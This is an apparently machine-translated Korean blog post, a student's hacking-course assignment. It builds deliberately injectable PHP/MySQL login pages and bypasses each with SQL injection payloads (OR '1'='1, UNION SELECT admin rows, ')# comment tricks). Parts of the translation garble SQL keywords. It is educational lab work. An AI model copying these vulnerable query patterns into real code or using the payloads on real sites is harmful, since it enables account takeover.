(일반 시뮬레이션 해킹 직무 수업, 3주차 해킹 과제) 로그인 로직 생성, SQL 주입

제목에 넣기에는 너무 작아서 간단하게 썼습니다.

원래 제목은 로그인 로직 사례 개발, 각 우회 기법 연구, 연구 및 공격 방법 요약

안돼.

로그인 논리는 무엇입니까?

간단히 말해서, 로그인할 때 어떤 구조를 코딩합니까?

예를 들자면


ID 찾기 및 PW 확인

식별과 인증을 분리하는 논리입니다!

보면 식별, 즉 ID를 먼저 확인한 다음 인증(비밀번호)을 비교하는 것을 볼 수 있습니다.

내가 만든 페이지는 다음과 같습니다

생각해보면 식별과 인증을 함께 할 수 있습니다!


sql을 보면…!

id와 pw가 SQL에 있는지 확인하고 있는 것을 볼 수 있습니까?

그리고 있다면 성공적으로 로그인한 것입니다!

이것은 식별과 인증을 함께 수행하는 논리입니다.

여기에 질문이 있을 수 있습니다.

그렇다면 둘 중 어느 것이 더 좋을까요?

정답은 없습니다.

오히려 2차로 더 빠르게 할 수 있어서 좋아요!

다만, 2회째에 찔리면 1회째에도 찔린다는 이야기!

해커들이 SQL 인젝션 공격을 하기 때문에!

SQL 인젝션??


악의를 가지고 놀고 있어

로그인 할 때 id와 pw를 씁니다.

하지만 거기에 SQL 문을 넣으면 어떻게 될까요??

예.

id와 pw를 찾는 SQL 문

$sql = “SELECT * FROM LOGIN_INFO WHERE id=’$login_id’ AND pw = ‘$login_pw’ “; 해보자.

그리고 일반 사용자가 일반 id와 pw를 작성한다고 가정해 보겠습니다.

ID:재배열

비밀번호 : 1234

그러면 어떻게 될까요?

POST를 통해 전달되고 해당 로그인 변수에 입력됩니다.

$sql = “id=’인 LOGIN_INFO에서 * 선택범위‘ 그리고 pw = ‘1234년‘ “;

굵은 글씨로 데이터를 볼 수 있습니다.

그런데 이때 해커가 아이디에 이상한 문자를 넣었다고 해봅시다.

ID: 재배열’ 또는 ‘1’ = ‘1

비밀번호 : 1111

특별한가요? 그러나 이것은 POST로도 전송됩니다.

그리고..

$sql = “id=’인 LOGIN_INFO에서 * 선택재배열’ 또는 ‘1’ = ‘1 ‘ 그리고 pw = ‘1111‘ “;

이렇게 들어가게 됩니다!

그럼 어떻게 될까요?

참고로 SQL은 AND 문을 먼저 계산합니다!

먼저 ‘1’ = ‘1’ AND pw = ‘1111’을 먼저 봅니다.

1=1은 물론 참이고, pw가 데이터베이스에서 1111이 아니면 거짓을 반환할 것입니다.

그러면 결국 이 AND 문은 거짓이 됩니다.

하지만!
id= rerange가 데이터베이스에 있었죠? 그러니 사실이 되세요

OR 문법 때문에 마지막에 false가 되어도 이 id가 true이더라도 아이디만 알고 있어도

로그인 성공!

이와 같이 sql 문을 삽입하여 본인이 아닌 다른 ID로 로그인하거나,

데이터베이스를 조작할 수 있는 SQL 인젝션 공격입니다!

아래는 예시를 보여주는 그림입니다.


분명 비밀번호가 틀렸는데 정보가 나온다!
사이트 제공해주신 Normaltic에 감사드립니다.

.!

자, 이제 기본 사항을 알았으니 실제로 사용해 봅시다!

물론 이 SQL 인젝션 공격에 대응할 수 있는 방법은 있다.

단, 개발자가 이에 대한 대응 방법을 모른다는 가정 하에

여러 로그인 로직을 만들어서 SQL 인젝션으로 공격해봅시다.

꽤 지루하겠지만 좋은 경험이 될 거예요!

.

.

.

.

시작하자

test.php: 로그인 화면

test_test.php : 메인 화면(어떤 아이디로 로그인했는지 출력)

test_process.php : 로그인 프로세스

text_logout.php : 로그아웃


생각보다 많네요

이 과정에서 로그인 로직만 변경할 테니 나머지는 코드를 보여드리겠습니다.

-test_test.php

<!
doctype html> <html> <head> <meta charset="utf-8"> <title>Welcome!
HACKER!
</title> </head> <body> <h1>Welcome!
tester!
</h1> <p> <?php session_start(); //세션 시작 if(!
isset($_SESSION('login_id'))) { //로그인하지 않은 사용자 header("Location: test.php"); //login 화면으로 바꾼다 exit(); //이 페이지를 바로 닫는다 } echo "당신은 ", $_SESSION('login_id'), " 입니다!
환영합니다!
HAPPYHACKING!
!
"; ?> </p> <p></p> <form action="test_logout.php" method="POST"> <p><input type="submit" name="logout" value="로그아웃"></p> </form> <p></p> </body> </html>

-테스트.php

<!
doctype html> <html> <head> <meta charset="utf-8"> <title>HAPPY HACKING!
</title> </head> <body> <h1>Login_test</h1> <form action="test_process.php" method="POST"> <p><input type="text" name="id" placeholder="ID입력"></p> <p><input type="text" name="pw" placeholder="PW입력"></p> <p><input type="submit" value="로그인하기"></p> </form> <p> <?php session_start(); if (isset($_SESSION('login_error'))) { echo $_SESSION('login_error'); unset($_SESSION('login_error')); } ?> </p> </body> </html>

-test_logout.php

<?php
    session_start(); //세선 시작

    // 로그아웃 버튼 클릭 세션 제거
    if(isset($_POST('logout'))) {
        session_unset();
        session_destroy();
        header("Location: test.php"); //로그인 페이지 이동
    }
    exit(); //코드 종료
?>

그리고 데이터베이스의 테스트 테이블에 id와 pw를 입력하겠습니다.



대충 DB에 로그인 정보를 3개 넣었다.

암호 해시가 있다고 가정합니다!

먼저 식별과 인증이 따로 이루어진다고 가정하자.

.

.

.

-1일

<?php
    include 'DB_INFO.php'; //데이터 베이스 정보
    $test="test";
    //데이터베이스 연결
    $conn = mysqli_connect($host,$username,$password,$test);

    session_start(); //세션 시작
    //오류시 종료
    if(mysqli_connect_errno()) {
        die("데이터 베이스 오류: ". mysqli_connect_error());
    }
    //POST로 전달된 정보 받기
    $login_id = $_POST('id');
    $login_pw = $_POST('pw');
    
    //ID 찾는 쿼리문
    $sql = "SELECT * FROM test WHERE id='$login_id'";

    //쿼리 실행
    $result = mysqli_query($conn, $sql);

    //쿼리 실행 결과 확인
    if(mysqli_num_rows($result) > 0 ) { 
        //ID있으니 비밀번호 검증
        $row = mysqli_fetch_array($result);
        $pw = $row('pw');
        if($login_pw==$pw) {
            //로그인 성공
            session_regenerate_id(); //ID 자동 갱신
            $_SESSION('login_id') = $row('id');
            header("Location: test_test.php");
        } else {
            //로그인 실패
            $_SESSION('login_error') = "비밀번호가 일치하지 않습니다.

"; header("Location: test.php"); } } else { //로그인 실패 $_SESSION('login_error') = '아이디 또는 비밀번호가 일치 하지 않습니다.

'; header("Location: test.php"); } ?>

지금은 데이터베이스 오류가 끝날 때까지 계속 같을 것이므로 생략하고 업로드하겠습니다.

SQL 문으로 시작하는 논리를 계속 변경하겠습니다!

해보자


이것은 정상입니다!


만약 그러하다면??


테스트는 이렇게 나옵니다

이유가 무엇일까요??

$sql = “선택 * FROM test WHERE id=’123123′ 또는 ‘1’ = ‘1 ‘ “; 이것을 먼저 실행하시겠습니까?

이 경우 OR문 때문에 마지막에 1=1이 참이기 때문에 그냥 참이 됩니다.

그래서 결과는 id만 넘기고 맨 위에 있는 값을 가져옵니다.

그리고 pw를 비교합니다.

pw가 맞다면 그렇게 불릴 거에요!

ID는 모르지만 PW는 알고 있는 상황입니다.

0%에 가까운 상황이니 그냥 냅두자

그래서… 조금 다르게 해보자

id: x’ 조합 선택 ‘1111’,’2222′,’3333

패스워드: 2222


유니온은 SQL을 동시에 실행하는 데 도움이 됩니다.

select ‘1111’, ‘2222’, ‘3333 이게 뭐지?

데이터베이스에서 한 번 실행하면 확인할 수 있습니다!


이렇게 나옵니다!

그렇습니까?

x를 추가한 이유가 컬럼명을 얻기 위함이라고 생각하시면 편리합니다!

다음 예시로 보여드리겠습니다


음?

이때 이상하게도 아이디는 1111, 패스는 2222, 이메일은 3333, 정보는 4444!

이때 패스가 2222로 쓰여 있다면???

로그인 성공!

물론!
이 공격 중에 보호해야 할 것이 있습니다.

select ‘1111’,’2222′ … 컬럼 수에 따라 작성해야 합니다.

로드할 컬럼이 4개라면 ‘4444’까지 작성해야 합니다.

로드할 열이 3개라면 ‘3333’까지 작성해야 합니다.

이 기능을 사용하여 관리자로 로그인하겠습니다.

id = x’ 조합 선택 ‘admin’,’2222′,’3333

패스 = 2222


이 경우 데이터베이스의 id는 admin, pw에는 2222, test_id??에는 3333이 입력됩니다.

데이터베이스 열의 순서대로 admin,2222,3333이 있는 것을 볼 수 있습니다!


잼성공

다른 비밀번호를 입력했지만 관리자로 성공적으로 로그인했습니다.

.

.

.

.

이제 모든 공격 방법을 설명한 것 같습니다.

OR로 공격하는 방법

노조를 공격하는 방법

# (주석) 공격 방법 — 이 방법은 뒷문을 완전히 제거하여 다른 계정 로그인 시에도 편하게 작성하실 수 있습니다!

그러나 데이터 수집에 관해서는 그다지 유용하지 않습니다.

-2차 로그인 로직

    //ID 찾는 쿼리문
    $sql = "SELECT * FROM test WHERE (id='$login_id') ";

SQL에 ()가 있으면 어떻게 뚫을 수 있습니까?

동일하게 하면 마지막 때문에 에러가 납니다)

id: x’ 조합 선택 ‘관리자’,’2222′,’3333

패스 = 2222


흠..

$sql = “SELECT * FROM test WHERE (id=’x’ union select ‘admin’, ‘2222’, ‘3333’) “;

이러한 괄호 때문에 구문이 엉망인 것을 볼 수 있습니다.

그래서 x’ ) union select ‘admin’,’2222′,’3333′ # 입력합시다.

댓글을 다는 공격입니다!

#은 sql 문에서 # 뒤에 오는 모든 내용을 읽지 않도록 주석 처리하는 것입니다.

ID: 엑스’) 조합 선택 ‘admin’,’2222′,’3333′ #

패스워드 : 2222


성공!

-3차 로그인 로직

    //ID 찾는 쿼리문
    $sql = " SELECT id FROM test WHERE id='$login_id' ";

이번에는 열 ID만 가져옵니다!

이 경우 열 수를 일치시킵니다.

엑스’ 유니온 선택 ‘admin’을 선택해도 아이디에 admin이 입력됩니다.

비밀번호에 걸리게 됩니다!

그럼 어쩌지..

업데이트를 사용할 수 있습니다!

불가능합니다.

그러면 피해자가 알게 될 위험이 있습니다.

사실 이것은 함정입니다!
실수는 실수라는 뜻

전체 코드를 보여드릴 것이기 때문입니다.

    //ID 찾는 쿼리문
    $sql = " SELECT id FROM test WHERE id='$login_id' ";

    //쿼리 실행
    $result = mysqli_query($conn, $sql);

    //쿼리 실행 결과 확인
    if(mysqli_num_rows($result) > 0 ) { 
        //ID있으니 비밀번호 검증
        $row = mysqli_fetch_array($result);
        $pw = $row('pw');
        if($login_pw==$pw) {
            //로그인 성공
            session_regenerate_id(); //ID 자동 갱신
            $_SESSION('login_id') = $row('id');
            header("Location: test_test.php");
        } else {
            //로그인 실패
            $_SESSION('login_error') = "비밀번호가 일치하지 않습니다.

"; header("Location: test.php"); } } else { //로그인 실패 $_SESSION('login_error') = '아이디 또는 비밀번호가 일치 하지 않습니다.

'; header("Location: test.php"); }

보면 어떤 것이 결과에 저장될 것 같나요? 아이디만 바로 저장됩니다!

SQL에 id만 가져왔기 때문에

pw는 null 값이 됩니다.

그래서 id에 admin만 입력하면


당신은 속았습니까?


다음!

이런 실수를 하지 마세요!

-4일

    //ID 찾는 쿼리문
    $sql = " SELECT id,pw FROM test WHERE id='$login_id' ";

아!
이번에도 실수하지 않고 아이디와 비밀번호를 가져왔어요!

그러면 우리가 늘 사용하던 Union을 사용할 수 있습니다!

열의 개수는 2개이니 그에 맞게 사용하시면 되겠죠?

ID : 엑스’ 조합 선택 ‘관리자’,’2222

패스워드 : 2222


쉬운!

-5일

    //ID 찾는 쿼리문
    $sql = " SELECT id,pw FROM test WHERE (id='$login_id') ";

아하.. 그래 할 수 있어

id를 괄호로 묶어 열 id와 pw만 가져오는 경우도 있습니다.

뚫기 쉬워요

id: x’) 조합 선택 ‘admin’,’2222′ #

패스워드: 2222


쉬운!
이런 경우가 있다는 것을 쌓자!

-6일

이번에는 코드를 조금 바꿔보겠습니다.

    //ID 찾는 쿼리문
    $sql = " SELECT * FROM test WHERE id='$login_id' ";

    //쿼리 실행
    $result = mysqli_query($conn, $sql);
    
    //쿼리 실행 결과 확인
    if(mysqli_num_rows($result) > 0 ) { 
        //ID있으니 비밀번호 검증용 sql
        $sql2 = " SELECT * FROM test WHERE pw='$login_pw' ";
        //쿼리 실행
        $result2 = mysqli_query($conn, $sql2);
        if(mysqli_num_rows($result2) > 0) {
            //로그인 성공
            session_regenerate_id(); //ID 자동 갱신
            $_SESSION('login_id') = $login_id;
            header("Location: test_test.php");
        } else {
            //로그인 실패
            $_SESSION('login_error') = "비밀번호가 일치하지 않습니다.

"; header("Location: test.php"); } } else { //로그인 실패 $_SESSION('login_error') = '아이디 또는 비밀번호가 일치 하지 않습니다.

'; header("Location: test.php"); }

차이점을 발견할 수 있습니까??

pw를 sql을 사용하여 검색하도록 변경했습니다!

이 경우 방법은 무엇입니까?

간단합니다.

ID를 정상적으로 작성하십시오.

pw에 sql을 넣어 공격할 수 있습니다!

해보자

아이디 : 관리자

암호: ‘ 또는 ‘1’=’1


오히려 더 쉬운 것 같아요

-7일

        //ID있으니 비밀번호 검증용 sql
        $sql2 = " SELECT * FROM test WHERE (pw='$login_pw') ";

아하.. 이번에는 괄호를 쳤다.

음… 역시 괄호를 붙여봅시다!

아이디: 관리자

pw : ‘) 또는 ‘1’=’1’#


그게 다야!

눈치채셨을 수도 있을 것 같아요!

sql문으로 pw를 검증하면 유니온을 사용하지 않아도 OR문으로만 공격하고 true만 나오게 하여 뚫는다!

물론 별도의 본인확인 및 인증에 한한다.

-8일

이제 식별과 인증의 경우를 함께 살펴보자.

    //ID,PW 찾는 쿼리문
    $sql = "SELECT * FROM test WHERE id='$login_id' AND pw = '$login_pw' ";

    //쿼리 실행
    $result = mysqli_query($conn, $sql);

    if(mysqli_num_rows($result) > 0) {
        //ID,PW가 있으니 로그인 성공
        $row = mysqli_fetch_array($result);
        session_regenerate_id(); //ID 자동 갱신
        $_SESSION('login_id') = $row('id');
        header("Location: test_test.php");
    } else {
        //로그인 실패
        $_SESSION('login_error') = "비밀번호가 일치하지 않습니다.

"; header("Location: test.php"); }

#을 사용하여 pw를 완전히 무시하는 쉬운 방법이 있습니다.

아이디 : 관리자’ #

비밀번호 : 1234


암호 유효성 검사를 주석 처리했습니다.

또 다른 방법

ID가 있습니다: admin’ OR ‘1’=’1

그러면 관리자가 아닌 다른 계정으로 로그인됩니다.

그 이유는 상단에서 데이터를 받기 때문입니다!
전술 한 바와.


누구세요?

-9일

    //ID,PW 찾는 쿼리문
    $sql = "SELECT * FROM test WHERE id='$login_id' AND pw = '$login_pw' ";

    //쿼리 실행
    $result = mysqli_query($conn, $sql);

    if(mysqli_num_rows($result) > 0) {
        //ID,PW가 있으니 로그인 성공
        $row = mysqli_fetch_array($result);
        session_regenerate_id(); //ID 자동 갱신
        $_SESSION('login_id') = $row('id');
        header("Location: test_test.php");
    } else {
        //로그인 실패
        $_SESSION('login_error') = "비밀번호가 일치하지 않습니다.

"; header("Location: test.php"); }

다시 말하지만 괄호가 없습니다.

그럼 이번에는 괄호 안에 조심해서 써봅시다.

아이디: 관리자’) #

암호: 1234


그것은 간단합니다

-10일

    //ID,PW 찾는 쿼리문
    $sql = "SELECT * FROM test WHERE id='$login_id'
    AND pw = '$login_pw' ";

오.. 이번에는 좀 새롭네요. 그렇게 해도 정상적으로 sql문이 실행된다.

저도 한번 해보겠습니다

아이디 : 관리자’ #

비밀번호 : 1234


!
!
!

안 돼요!
왜?

#의 의미를 좀 더 자세히 알아야 합니다.

#!
뒤에 있는 줄을 삭제하십시오.

그래서 집행문을 보면

$sql = “SELECT * FROM test WHERE id=’admin’ #
AND pw = ‘$login_pw’ “;

따라서 AND는 다음 줄에 있으므로 #은 쓸모가 없습니다.

그래서 가야 할 길은 무엇입니까?

OR 구문은 다음과 같습니다!

아이디: 관리자’ 또는 ‘1’=’1

암호: 1111

이렇게 쓰겠습니다.


아, 이번에는 관리자가 잘 작동하고 있습니다

SQL을 살펴보자

$sql = “선택 * FROM test WHERE id=’관리자’ 또는 ‘1’=’1
그리고 pw = ‘1111‘ “;

이 경우 AND가 먼저 실행되므로 id=’admin’ OR ‘true’입니다.

.

.

.

.

.

일단 오늘은 여기까지만 씁니다.

다음에 로그인 로직을 계속 추가하겠습니다.